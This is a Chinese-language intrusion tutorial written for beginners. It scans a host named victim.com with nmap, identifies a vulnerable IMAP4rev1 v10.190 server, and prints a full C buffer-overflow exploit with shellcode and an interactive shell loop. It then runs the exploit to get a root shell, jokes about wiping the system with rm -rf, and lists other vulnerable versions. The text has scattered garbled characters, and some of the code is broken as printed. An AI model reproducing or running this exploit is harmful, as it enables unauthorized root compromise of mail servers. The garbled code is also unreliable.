一次利用imap漏洞的入侵

一次利用imap漏洞的入侵

作者 : geniusbb 
email : [e-mail]
系统 : Linux

以下文章是菜鸟写给菜鸟交流的 ，高手就免看了，欢迎来信交换心得 。 

[cracker@ns2:~/ ] nmap -sF -O victim.com ( 用扫描工具如nmap 扫描主机上开放的端口和服务。) 

Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
53 open tcp domain , _0 l. L$ H/ J
80 open tcp http
81 open tcp hosts2-ns 
110 open tcp pop-3 
143 open tcp imap 
[cracker@ns2:~/ ]telnet victim.com 143 ( imap 很可疑, telnet 上去看看 imap ) k# y  w1 n) `& w
版本 ) 
* OK victim.com IMAP4rev1 v10.190 server ready ( 咦, 版本 10.190 

？有漏洞的服务了，去找exploit)  w

$ X% a6 b- b' n; r( K

[cracker@ns2:~/ ] ls ( imap.c 是从 www.hack.za.co 下的) '
imap.c 
[cracker@ns2:~/ ] more imap.c

/* Ultimate IMAP4 sploit coded by The Tekneeq Crew */ 
/* http://www.attrition.org/hosted/tekneeq */

#include <stdio.h> 
#include <stdarg.h>
#include <unistd.h>
#include <sys/time.h> 
#include <sys/types.h> 
#include <netinet/in.h>
#include <netdb.h> 

#define RET_POS 1028

int connect_tcp(struct in_addr addr,unsigned short port);
int fdprintf(int dafd,char *fmt,...);

void RunShell(int thesock); 

struct types { 
char *name; 
unsigned long ret_addr;
}; 

struct types types[]={ 
{"IMAP4rev1 9.0",0xbffff6e4}, 
{"IMAP4rev1 v10.190",0xbffff30f}, 
{"IMAP4rev1 v10.223",0xbffff6e4},
{"IMAP4rev1 v10.203",0xbffff30f}, 
{"IMAP4 Service 8.3",0xbffff724}, 
{NULL,0}
}; 

char overflow_buff[4096];
struct in_addr victim;

/* standard shellcode with a few modifications */ 
char hellcode[]=
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30" 
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0" 3 U! k- F) R4 o% w
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" 
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"

"\x2f\x32\x39\x3e\x2f\x43\x38"; 

int main (int argc,char **argv) 
{
unsigned long *ret; 
char recvbuf[1024];
int sockfd;
int i,n=0;

if (argc < 2) 
{
printf("Usage: %s <hostname> [offset]\n",argv[0]); 
exit(0); 
} 

if (!host_to_ip(argv[1],&victim))
{
fprintf(stderr,"Hostname lookup failure\n"); 
exit(0); 
} 

memset(overflow_buff,0x90,4096); 
for (i=RET_POS-(strlen(hellcode));i<RET_POS;i++) 
overflow_buff=hellcode[n++]; 

if ((sockfd=connect_tcp(victim,143)) < 0)
{ 
fprintf(stderr,"Error connecting to remote host\n");
exit(0);
} 
n=read(sockfd,recvbuf,1024); 
if (n <= 0) { 
fprintf(stderr,"Connection closed\n"); 
exit(0); 
} 
printf("%s\n",recvbuf); 
for (i=0;;i++)
{
if (types.name==NULL)
{
i=0; 
break;
} 
if (strstr(recvbuf,types.name))
break;
} 
printf("Imap type %d\n",i);
ret=(unsigned long *)(overflow_buff+RET_POS); 
*ret=types.ret_addr;
if (argv[2]) *ret+=(unsigned long)atoi(argv[2]);
overflow_buff[RET_POS+4]=0; 
printf("Sending overflow\n");
fdprintf(sockfd,"* AUTHENTICATE {%d}\n",strlen(overflow_buff));
fdprintf(sockfd,"%s\r\n",overflow_buff);
read(sockfd,recvbuf,1024); 
printf("Got shell\n");
RunShell(sockfd);
close(sockfd);
return; 
}

void RunShell(int thesock) 
{ 
int n; 
char recvbuf[1024]; 
fd_set rset;

while (1) 
{ 
FD_ZERO(&rset);
FD_SET(thesock,&rset);
FD_SET(STDIN_FILENO,&rset); 
select(thesock+1,&rset,NULL,NULL,NULL); 
if (FD_ISSET(thesock,&rset)) 
{ 
n=read(thesock,recvbuf,1024);
if (n <= 0)
{ 
printf("Connection closed\n");
exit(0); 
}
recvbuf[n]=0;
printf("%s",recvbuf);
} 
if (FD_ISSET(STDIN_FILENO,&rset)) 
{ 
n=read(STDIN_FILENO,recvbuf,1024);
if (n>0) 
{ 
recvbuf[n]=0; 
write(thesock,recvbuf,n);
}
}
} 
}

int fdprintf(int dafd,char *fmt,...) 
{ 
char mybuffer[4096]; 
va_list va;

va_start(va,fmt); 
vsnprintf(mybuffer,4096,fmt,va); 
write(dafd,mybuffer,strlen(mybuffer)); 
va_end(va); 
return(1); 
} 


int connect_tcp(struct in_addr addr,unsigned short port)
{
struct sockaddr_in serv; 
int thesock,flags; 

thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
bzero(&serv,sizeof(serv)); 
memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr)); 
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if (connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) < 0) 
return(-1); 
else
return(thesock);
} 
int host_to_ip(char *hostname,struct in_addr *addr)
{ 
struct hostent *res; 

res=gethostbyname(hostname); 
if (res==NULL) 
return(0); 
memcpy((char *)addr,res->h_addr,res->h_length); 
return(1);
} 
/* www.hack.co.za */ 
 3 S+ a: f2 K7 `- C2 J3 d

[cracker@ns2:~/ ] gcc imap.c -o imap ( 编译 imap.c ) 
(运行imap: ./imap offset ip , offset 的数值可更改) 
[cracker@ns2:~/ ] ./imap 0 victim.com 
(运行./imap , 直到 spawn 到 一个 shell 为止。若成功反应如下) 

* OK victim.com IMAP4rev1 v10.190 server ready 

Imap type 1
Sending overflow 
Got shell (有 shell 了) 

# id ( 打 id 看看自己是谁) 

uid=0(root) gid=0(root) groups=0(root) 

( 那么主机的命运就操纵在你手上了，你是 root 了， 来个 rm -rf 超度它？算了吧。) 

入侵一架主机就那么容易 。只要找到主机上有漏洞的服务如 imap , qpop , rpc services ，
再找些exploit跑跑 ，那么入侵就机会成功。其他imap拥有一样的漏洞的版本是: (
IMAP4rev1 v10.233,10.205,10.203,10.196,10.166 
这些漏洞都利用了 buffer overflow 缓冲溢出的原理 .